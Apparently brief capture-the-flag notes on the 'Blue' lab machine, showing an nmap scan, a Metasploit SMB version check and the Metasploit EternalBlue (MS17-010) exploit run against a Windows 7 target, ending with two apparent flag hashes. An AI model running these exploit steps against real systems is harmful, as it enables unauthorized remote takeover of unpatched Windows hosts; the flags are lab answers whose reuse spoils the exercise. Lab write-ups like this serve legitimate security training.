Win: Blue

Explains Eternal blue

```
nmap -sC -sV -oA nmapscan 10.10.10.40
```

```
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

when u find smb open

```
use auxiliary/scanner/smb/smb_version
set rhosts 10.10.10.40
msf5 auxiliary(scanner/smb/smb_version) > run
```

```
[+] 10.10.10.40:445       - Host is running Windows 7 Professional SP1 (build:7601)
(name:HARIS-PC) (signatures:optional)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.40
run
```

```
4c546aea7dbee75cbd71de245c8deea9
ff548eb71e920ff6c08843ce9df4e717
```